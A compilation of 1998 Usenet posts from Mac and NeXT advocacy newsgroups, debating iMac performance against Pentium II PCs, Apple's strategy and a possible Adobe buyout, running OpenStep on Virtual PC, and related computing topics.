many of the iMac's major advantages to the percieved "competition" are
value-added, and perhaps subtle. but once experienced --i'm finding from
listening to, say, ex-Wintel users and new users -- they're undeniable, and
they're not easily duplicated aside from feats of engineering which involve
*risk* -- the gamble these folks just won't bother making.
imho, Steve's got his head screwed on quite well with this one. quite well
indeed.
> At least the IBM comes in black.
black does not say to the average joe on the street [much less their
grandmother, said grandmothers quickly becoming a major user segment of the
iMac] .. "come, do stuff with me! you've nothing to fear from me."
the iMac isn't for us; but it is in a roundabout way. who's gonna run OS X
underneath OS X Server in the other room if not these people? so, we can
hold out for OS X Server running on a multiprocessor next-gen design, and
that's fine. but the folks that are picking up iMacs are pivotal. mark my
words. and that black box [with its cables and IRQs] just doesn't welcome
them the way it may you or i, and if they're not welcomed, they won't come.
heath m rezabek
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: mteh@earthlink.net (Oliver Ming-Teh Sun)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 28 Aug 1998 01:38:34 -0500
Organization: EarthLink Network, Inc.
Message-ID: <mteh-ya02408000R2808980138340001@news.earthlink.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35E431B1.C9E36442@brainlink.com> <6s4ets$ge9$1@nntp2.ba.best.com>
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Wow, that's pretty impressive.
I hope you don't mind me asking, where has one of the 3Com originals gone
off to these days?
In article <6s4ets$ge9$1@nntp2.ba.best.com>, jpamer@best.com (Joseph
Palmer) wrote:
>In article <35E431B1.C9E36442@brainlink.com>, Ray Arachelian
<sunder@brainlink.com> wrote:
><Snip>
>
>>BTW: 3Com was Building 3 Communicaions as Xerox and was later spun off as its
>>own company. Most of the technology of the Mac comes from Xerox Parc. Hell,
>>where do you think the Laser printer came from! :)
>>
>
>No, 3Com was not a "Spin Off", It started as a seperate startup in Bob
>Metcalf's apartment, then moved to 3000 Sand Hill road. (I worked
>there when there were 8 other employees, well before their first
>round of financing)
>In the early days 3Com employees did consulting work for other firms,
>Its first revinue product was the 3C100 Ethernet (DIX Bluebook)
>transceiver. I should know, I assembled the very first one. (I even
>have a picture of the box being shipped.
>
>BTW, 3Com stands for "Computer Communications Compatability"
>
>
>J.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Installing Openstep 4.0 on Virtual PC
Date: Thu, 27 Aug 1998 23:40:32 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35E5E05B.F6E@earthlink.net>
References: <6s2kak$jk4$1@news.tamu.edu> <35E47C10.7BA@earthlink.net> <6s3erc$cmi$1@sun27.hrz.tu-darmstadt.de> <6s48d1$suu@news.acns.nwu.edu>
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To: "Lars A. Stole" <lars@gsblas.uchicago.edu>
Lars A. Stole wrote:
> You CAN use openstep floppies in the Mac floppy drive (at least on a Wallstreet
> Powerbook).
Interesting. My floppy did not seem to work.
> You can also attach a DOS drive as a second drive and copy over 100s of megabytes of files via drive D.
This is also interesting. How can the Openstep partition see this drive
if it doesn't support SCSI?? I couldn't get anything in or out of my
Openstep/VPC partition. I wish Connectix would have just emulated a
SCSI PC in the first place.
As Macs get faster and faster, Openstep on VPC may actually become a
useful product for legacy NeXT apps. I hope this is the case. I have
one awesome NeXTSTEP app. I would really like to hang on to. However,
I'm sure right about the time VPC/Openstep performance becomes useful,
Connectix will no doubt find some way of breaking it with Openstep.
Steve
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 28 Aug 1998 06:42:43 GMT
Organization: Michigan State University
Message-ID: <6s5jh3$r0a$1@msunews.cl.msu.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
<35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu>
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Cc: ink@inconnu.isu.edu
In <6s4b24$4ht$1@inconnu.isu.edu> Craig Kelley wrote:
> In article <6s2nle$ek62@odie.mcleod.net>,
> Michelle L. Buck <buck.erik@mcleod.net> wrote:
>
> ->Apple is not making more than a few hundred dollars on each PPC
shipped.
> ->20%-25% gross margins are common. Apple does not need to drop
hardware.
> ->They should sell Rhapsody Intel at whatever price generates the
same return
> ->on investment that selling hardware generates. It should not
matter to them
> ->if they sell a copy of Rhapsody PC or another PPC unit. They make
the same
> ->amount of money either way. Furthermore, selling a few million
Rhapsody
> ->Intel seats might actually make PPC hardware MORE attractive.
>
> It makes a HUGE difference: supporting the x86 architechture and all
> the (almost) infinite combinations of devices is very expensive.
>
1) Apple doesn't have to support every tom, dick and hairy card out
there. Just a good enough subset.
2) If Apple would get off it's duff and accept OpenMach then the
'drivers would flow', put YB on it, and add possiblity of development
tools - and the YB developers will come. Drivers are just one
reason to open up the lower core OS layers.
3) Software only is NOT a viable option for Apple at this point.
Selling hardware IS how Apple makes it's bottom line.
I still assert that Apple would do well to build a MultiOS
friendly box from off the shelf components and sell it at
15-20% markup. The void is waiting to be filled.. Anyone
want to start a company? :) Thing is if Apple were to sell
these x86 boxes with MacOS X Server then they'd still
make money from selling hardware & software. I'm sure
it could be a very solid way to bring x86 folk back into the PPC
fold - provided PPC really IS better (I have some serious
doubts that hopefully will be answered when CR1 releases
and I can lay my hands on a G3 & 604e running some Linux
apps)..
Finally I reiterate what I have said in the following article:
http://www.channelu.com/Articles/ClosedorOpen/index.html
Apple has to decide if it's focus will be hardware or software.
They will continue to fall behind if they try to do everything all at
once.
A sucessful hardware strategy has very different goals/concerns than
a sucessful software strategy.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 28 Aug 1998 03:10:01 +0000
Organization: BM
Message-ID: <6s5knl$96$1@ash.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
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rmcassid@uci.edu (Robert Cassidy) wrote:
>PDF and PS are some of the best reasons for buying Adobe - Quark would
>never give them up. They are bottleneck technologies for the publishing
>world.
Is there anything Apple wants to but cannot with PDF or PS today (or MacOS X
timeframe)? Why would they have to own them?
>I can't see Apple weakening the Windows version either,
Are you saying Apple would work with Intel to optimize Photoshop for MMX II or
Merced thereby taking the opportunity from Jobs to do those demos of G3
Photoshop bake off against PII 400 MHz at every show? Would Apple help Microsoft
clean up font management on NT with ATM? Examples abound.
>but I _can_ see Apple taking the unix versions
SGI/Sun versions of Photoshop, for instance, are fairly pitiful ports to those
Unix OSes and offer virtually no advantages over their MacOS versions.
>and making a very strong case for Apple hardware and Mac
>OS X to the Sun/SGI world.
Sure.
>Adobe would give Apple tremendous added-value for the publishing and
>content-creation market.
Absolutely.
>A niche that MS would likely never be able to crack,
>even with a Macromedia and Quark buyout - they'd still need to go to Apple
>for PS, PDF, and QT.
If Apple were to acquire Adobe -- and I'd be overjoyed at that -- I think it
would be out of necessity (of Adobe falling into hostile hands) not strategy.
Otherwise, how does one explain the Claris --> Filemaker Inc., business? (Final
Cut being an anomaly here.)
I'm still not convinced that the Windows versions would remain as is, unlesss
Apple took a giant leap towards becoming a far, far more software-oriented
company. I mean how does Apple go to a big ad agency and try to talk them out of
their NT migration in the short term?
Ziya Oz
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: The Apple of the Future (was: Re: Apple heading to obscurity?)
Message-ID: <forrestDELETE-THIS!-2808980023030001@term1-23.vta.west.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 28 Aug 1998 00:23:02 -0700
NNTP-Posting-Date: Fri, 28 Aug 1998 00:23:03 PDT
In article <6s5jh3$r0a$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> 3) Software only is NOT a viable option for Apple at this point.
> Selling hardware IS how Apple makes it's bottom line.
> I still assert that Apple would do well to build a MultiOS
> friendly box from off the shelf components and sell it at
> 15-20% markup. The void is waiting to be filled.. Anyone
> want to start a company? :) Thing is if Apple were to sell
> these x86 boxes with MacOS X Server then they'd still
> make money from selling hardware & software. I'm sure
> it could be a very solid way to bring x86 folk back into the PPC
> fold - provided PPC really IS better (I have some serious
> doubts that hopefully will be answered when CR1 releases
> and I can lay my hands on a G3 & 604e running some Linux
> apps)..
Like I've said before, I want Apple to make a system which can have
processors, cards, drives, and software bundles all preconfigured and
swapped. So you could get anything from a PowerPC with ATI graphics,
Mac-style audio, and all the normal Mac i/o (plus a standard set that
would ship with every box: Ethernet, FireWire, and USB); to a Pentium II
with AGP/3Dfx graphics, SoundBlaster AWE128 audio, and all the legacy PC
i/o (plus the standard Ethernet/FireWire/USB). Or anything in between,
such as a PowerPC with AGP/3dfx graphics, Mac-style audio, and both Mac
and PC legacy i/o.
The way I see it, Apple has goods in three areas: User Interaction, with
software UIs and hardware boxes; Multimedia, with QuickTime; and
Enterprise, with all the Neato-Nifty-Keen technologies brought in with
the NeXT purchase. In an idea world, where the kernel, UI, processor,
various media chipsets, i/o, motherboards, plastics, and the like could
all be swapped with the apps not caring either way, Apple would have three
divisions: Apple Industrial Design, which sells kick-ass cool plastics and
equally kick-ass cool UI modules; Apple Media, which would sell
QuickTime-based products for content creation (such as the repackaged,
coming-soon, CyberStudio and Final Cut), as well as the QT APIs
themselves; and Apple Enterprise, which would sell NeXT products like
Interface Builder and Project Builder, as well as the Diamond APIs
(Diamond is my suggested name for YB/OpenStep/whatever). Then there would
probably be various Linux- and Mach-based kernels to choose from, all
different graphics and audio chipsets, processors from all the different
sources competing on MERIT instead of marketshare, and boxes galore,
hopefully most not in beige. (And of course there would be Microsoft
Kernel, Microsoft Interface, Microsoft Media, and Microsoft Enterprise, as
well as Intel Beige Box XYXZX, Intel Motherboard XYXZX, Intel Pentium
MCLXVI, and 3Dfx VooDoo V, and SoundBlaster AWE2048). And Apple would
probably still sell their own OS distribution (likely still called "Mac
OS"), with a Mach variant, QuickTime and Diamond, and the Apple User
Interface. And also their own workstations (PowerMacintosh), with various
Apple Chassis, and whatever hardware is best at the moment. So, yeah.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs ?? (Was Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 28 Aug 1998 07:33:26 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6s5mg6$dkf$1@news.tuwien.ac.at>
References: <B20B53E7-5F5BD@206.165.43.158>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Unfortunately, in <B20B53E7-5F5BD@206.165.43.158> "Lawson English" wrote:
> Well, let's see...
>
> GX is available on every color Mac.
Just when I thought that we'd seen the last of _that_ thread. Time to step up
LE's medication again, methinks...
$0.2E-32
Alexander Wilkie
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: [Q] YR2K
Message-ID: <1998082808231800.EAA23277@ladder03.news.aol.com>
Date: 28 Aug 1998 08:23:18 GMT
Organization: AOL http://www.aol.com
Is NeXT year 2000 compliant in all of its operating system calls and system
services? If so, since what version has this been true?
Copies of replies being sent to CatGuy@lamg.com or MerefBast@aol.com would
be appreciated.
Thanks.
<a
href="http://msem26.eng.ohio-state.edu/os/oses/next.htm">http://msem26.eng
.ohio-state.edu/os/oses/next.htm</a>
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Message-ID: <1998082808265200.EAA09963@ladder01.news.aol.com>
Date: 28 Aug 1998 08:26:52 GMT
Organization: AOL http://www.aol.com
References: <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
rmcassid@uci.edu (Robert Cassidy) WROTE:
<<Perhaps an Apple buyout of Adobe and merger with Filemaker Inc., to create
the cross-platform application software arm of Apple computer?
Didn't we already go through the arguments for Apple buying Adobe?>>
Well, if nothing else, Apple purchasing Adobe would solve the whole
DisplayPostScript licensing fee problem with Rhapsody/Mac OS X.....
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs ?? (Was Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 28 Aug 98 01:39:44 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20BBAE2-2A6D2@206.165.43.108>
References: <6s5mg6$dkf$1@news.tuwien.ac.at>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Alexander Wilkie <wilkie@cg.tuwien.ac.at> said:
>Unfortunately, in <B20B53E7-5F5BD@206.165.43.158> "Lawson English"
>wrote:
>> Well, let's see...
>>
>> GX is available on every color Mac.
>
>Just when I thought that we'd seen the last of _that_ thread. Time to step
>up
>LE's medication again, methinks...
>
>$0.2E-32
You know what is funny about this comment?
2 things:
1) I can certainly understand where you are coming from.
2) Certain friends of mine, whose judgement I respect and trust, are STILL
encouraging me to continue with GXFCN because they think it can be "a
winner."
Perhaps you should re-evaluate YOUR position on this topic?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Fri, 28 Aug 1998 07:09:54 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
Message-ID: <joe.ragosta-2808980709540001@elk64.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com> <35E59D8C.21D5@ieighty.net> <35e9030f.7756271@news.supernews.com>
In article <35e9030f.7756271@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
> Legacy 'Xunker' <legacy@ieighty.net>, on Thu, 27 Aug 1998 11:55:24 -0600,
> >Con-Tiki wrote:
> >>
> >> I've seen a G3 350.
> >> I tell you, my PII266 kicks the G3 I saw.
> >> The G3 is faster, but Mac O/s 8 uses to much Ram.
> >> Windows - 4mb
> >
> >What *ARE* you smoking. Sure, it will _run_, but It'll take 5 minutes
> >to boot. believe me, I've tried.
> >
> >> Linux - 4mb
> >
> >Axctually, 2.0.33 will run on 2mb
> >
> >> Mac O/s 8 - 11mb
> >
> >12 actually. I'm actually certain that it _would_ run on less, but that
> >Apple was being liberal with the spec sheet. They wanted you to be able
> >to get some decent performance out of it.
>
> I believe the original poster was referring to the RAM being used directly by
> "the OS" itself, not the minimum configuration required for application work.
> Though where he got those numbers, and why he thinks they're valid, I haven't
> a clue.
Probably the same place he dreamed up a G3/350. Fantasyland.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Installing Openstep 4.0 on Virtual PC
Date: 28 Aug 1998 12:01:19 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6s666f$mm5$1@sun27.hrz.tu-darmstadt.de>
References: <6s2kak$jk4$1@news.tamu.edu> <35E47C10.7BA@earthlink.net> <6s3erc$cmi$1@sun27.hrz.tu-darmstadt.de> <6s48d1$suu@news.acns.nwu.edu>
lars@gsblas.uchicago.edu (Lars A. Stole) wrote:
>CPU-intensive stuff is not a problem (Mathematica under Openstep via VPC is
>decent and at the speed of a mid-range pentium.) The display, however, is
>terribly slow. It is not even close to a Pentium 90Mhz!. IT is certainly
less
>than half the speed (in terms of display) of my old NEC 75Mhz laptop, which
I
>find very useable. I am not sure what benchmark Christian is refering to
when
>he says the machine he saw benchmarked at the speed of a 90Mhz penitum, but
I
>would say my setup feels like an old Next cube. Maybe I'm not tweaking the
>system correctly to get full performance. If this is the case, someone
please
>tell me what I can do.
I'll ask Tomi. I understood he ran NXBench, and indeed, Cube speed is not
adequate for heavy use. Maybe it's a matter of setup.
Rgds, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Sat, 22 Aug 1998 15:15:24 +0200
Organization: priv.
Message-ID: <35DEC46B.F10B50BA@chem.uit.no>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <rbarris-ya023280002108981506420001@206.82.216.1> <6rl6rm$4pr$1@hecate.umd.edu>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 22 Aug 1998 13:13:53 GMT
David T. Wang wrote:
>
> Rob Barris (rbarris@quicksilver.com) wrote:
> : In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
> : <earl.malmrose@nospam.sierra.com> wrote:
>
> : > Steve Jobs: "I think also, you know, the iMac is faster than the fastest PC
> : > you can buy for any amount of money."
> : >
> : > Absolutely false, and thus a flat-out lie.
>
> : He said that's what he thinks. Awfully clever of him. He's giving his
> : competitors a golden opportunity to show him wrong, they should take him up
> : on it.
>
> http://www.techweb.com/wire/story/TWB19980821S0021
Those tests should stop some big mouth Apple advoctes (if they even care
to look at it). The PCs are clearly faster, even in Filemaker, so that
"Bad port" argument is not very usefull.
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: Jostein Johansen <jostein@nospam-chem.uit.no>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 24 Aug 1998 13:24:16 +0200
Organization: private
Message-ID: <35E14D60.EB9324C@nospam-chem.uit.no>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35DF5F47.DCAB6CBD@geocities.com> <35DFAD49.619697B1@inficad.com> <35ff0892.17043378@news.supernews.com>
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NNTP-Posting-Date: 24 Aug 1998 11:24:49 GMT
T. Max Devlin wrote:
>
> CJH <ifmtrx@inficad.com>, on Sat, 22 Aug 1998 22:49:03 -0700,
> >Jeff Read wrote:
> >
> >> CJH wrote:
> >>
> >> > So I guess you built your own house too! Some people don't want the challenges
> >> > of constructing a damn computer!
> >>
> >> Building a computer is less like building a house and more like
> >> assembling your kid's new bike. Grab a clue.
> >
> >If you believe the complexity of a new bicycle equals that of a computer, then
> >"grabbing a clue" is obviously something you've failed to do! But I guess many
> >people just aren't as "bright and articulate" as you apparently are, Mr. UNIX,
> >Linux, Windows Hacker!
>
> Jeff didn't say that knowing what to assemble was as easy with computers as
> with a bike. But the actually assembly steps, once you have the right
> components, could be considered about as simple.
>
> Excluding troubleshooting, of course. :-\
I bet its actually much easier to assemble a PC than to assemble a bicycle. To
assemble a bike you need lots of different tools, and its not always very easy
to get everything adjusted perfectly. To assemble a PC you basically just need a
screwdriver, and nothing has to be adjusted except maybe some jumpers.
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Thu, 27 Aug 1998 19:11:58 +0200
Organization: priv.
Message-ID: <35E5935E.23CB8E0F@chem.uit.no>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com> <6s03tm$g1o$2@ash.prod.itd.earthlink.net> <35e4a16b.0@news3.paonline.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 27 Aug 1998 17:10:12 GMT
Rob Speed wrote:
>
> I have a 333mhz PII from Dell which, when I bought it, cost $3,567
> before tax and shipping. My new iMac arrived last week at a cost of $1,299
> before shipping etc. First of all, Mac OS8 uses a maximum of 8MB after a
> fresh install, with the exception of iMacs. There is an additional 3MB of
> memory used by a file which replaces a number of ROM chips. This may seem
> like a stupid idea at first, but the payoffs are huge. First of all, it
> brings down the price a couple hundred bucks. That alone is worth it since
> you can double the total amount of memory available with the money you saved
> (and I did.) Secondly, it gives the computer a big speed boost. This is
> because the bus is well more than twice the speed in RAM than ROM. I've
> estimated that it's about as fast as a 266mhz G3, or about a 400mhz PII. Oh,
> and Windows95/98 does NOT use 4MB of RAM, that's a bunch of bull...
It uses more if you have more, but it can be paged out, so Windows 95
probably don't need more than 4 Mbytes of physical RAM. My first machine
to run Win95 on was a 486 with 8 Mb RAM, and it did run Netscape 3.0,
Word 6.0 and Excel 5 simultaneously on those 8 Mbytes. Win 95 by itself
probably would boot with 4 Mbytes, but i would be painfully slow of
course. Win98 i have no idea about, but nobody probably installs it on a
machine with less than 16 MByte anyway.
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
Message-ID: <EyELsq.4x@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com>
<6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com>
<6s1nq7$9mj@newsb.netnews.att.com> <35E46BAA.2C74EA52@ericsson.com>
<6s2jb0$oqh@news1.panix.com> <35E5B233.FC15155E@ericsson.com>
Mime-Version: 1.0
Date: Fri, 28 Aug 1998 14:34:01 GMT
In <35E5B233.FC15155E@ericsson.com> Michael Peck wrote:
> > Most people agree with your experience?
>
> Yes, they do.
That floppies are "unusable"? No they don't. In fact I'd like you to find
even a *single* person that would make that same statement to back you up.
> Look, I'm sorry about whatever is wrong with your life to make you such
> a bitter and vindictive man. I'd really like to help. Send me email.
Name calling, how mature.
Maury
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 28 Aug 1998 09:57:49 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2808980957500001@sf-usr1-47-175.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <joe.ragosta-2708980812500001@wil49.dol.net> <gmgraves-2708981104260001@sf-usr1-38-166.dialup.slip.net> <6s4s06$ntk$1@nnrp1.dejanews.com>
In article <6s4s06$ntk$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2708981104260001@sf-usr1-38-166.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Thank you, Joe. Now if this Brian Quinlan clown only had the insight
that you
> > show, we could shut him up.
>
> George, there is a difference between belief and proof. Joe stated his beliefs
> and I do not dispute them. You said that they had been proven. Please
> demonstate this.
The answers are on Joe's web page. All the studies, their methodologies
their results. That's all you should need.
George Graves
From: jeffm@boxybutgood.com (Jeff Meininger)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: NEXTSTEP 3.3 mouse behaviour guts
Date: 28 Aug 1998 17:33:19 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6s6pkv$2ch$1@geraldo.cc.utexas.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Is there a way to have non-scaled mouse response, where your cursor
moves a distance directly proportional to the distance you moved
your mouse? This seems to be the case for the slowest setting under
the preferences panel, but it is not fast enough for my taste. From
what I understand, I need to mess with some very internal NEXTSTEP
voodoo to accomplish this. GKMouseScaler doesn't do exactly what I want
because a flat line of a fast enough speed makes the cursor "jumpy"... I
just want it faster. Can anyone help me out with this problem?
Thanks
-Jeff Meininger
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The Apple of the Future (was: Re: Apple heading to obscurity?)
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Cc: leebum@nottowayez.net
Organization: none
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
<35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu>
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<B37C8E6EEA75979A.3B6868CD0D4780E3.44C96436002BC94F@library-proxy.airnews.net>
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Date: Fri, 28 Aug 1998 17:33:10 GMT
In
<B37C8E6EEA75979A.3B6868CD0D4780E3.44C96436002BC94F@library-proxy.airnews.net>
Shelton Garner wrote:
> This is what Apple really needs--somebody like James Barksdale
> (currently CEO/President Netscape) who would make the hard, painful
> choices and get the company moving again.
*coff* Moving where? The last release of Nav was apparently horrid, and
they still don't seem to have any more of a business growth plan than they
did two years ago. What _exactly_ do they sell that's suddenly become a
shining star among a product line that's a collection of tossed together
utilities?
And exactly what "hard, painful choices" has Netscape made that Apple
hasn't? Apple's chopped massive portions of it's technology over the last
two years, giving up whole "company saver" projects like Copeland. What hard
choice do you refer too? Putting Mozilla source on the web?
> A lot of restructuring a lot
> of downsizing...but eventually Apple would be better for it.
What the heck do you think they've been doing with all the layoffs?
